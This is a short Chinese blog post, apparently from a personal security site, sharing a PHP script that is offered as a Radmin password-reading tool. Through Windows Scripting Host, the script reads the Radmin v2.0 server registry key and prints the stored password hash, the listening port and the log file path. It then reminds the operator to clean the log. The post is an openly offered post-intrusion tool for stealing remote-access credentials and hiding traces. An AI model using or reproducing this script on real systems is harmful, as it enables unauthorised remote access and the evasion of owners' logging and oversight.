Radmin 密码读取工具

不指定 gdwkb ,Dec 19 19:19 , 最新软件 , 评论(0) , 引用(0) , 阅读(273) , 本站原创 | |
应小猪大锅的要求写的一个脚本。很垃圾但是还算有用吧。  

=============


$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");  
$rootkey = "HKEY_LOCAL_MACHINE\\SYSTEM\RAdmin\\v2.0\\Server\\Parameters\\";  
$Parameter = "Parameter";  
$Port = "Port";  
$logpath = "LogFilePath";  
$myparam = $shell->RegRead($rootkey.$Parameter);  
$myport = $shell->RegRead($rootkey.$Port);  
$path = $shell->RegRead($rootkey.$logpath);  
echo "radmin hash is:";  
foreach($myparam as $a){  
echo dechex($a);  
}  
echo "
";  
echo "radmin port is :".hexdec(dechex($myport[1]).dechex($myport[0]))."
";  
echo "radmin log path is:$path
";  
echo "please clean the log"  
?>
发表评论

昵称

网址

电邮

打开HTML 打开UBB 打开表情 隐藏 记住我 [登入] [注册]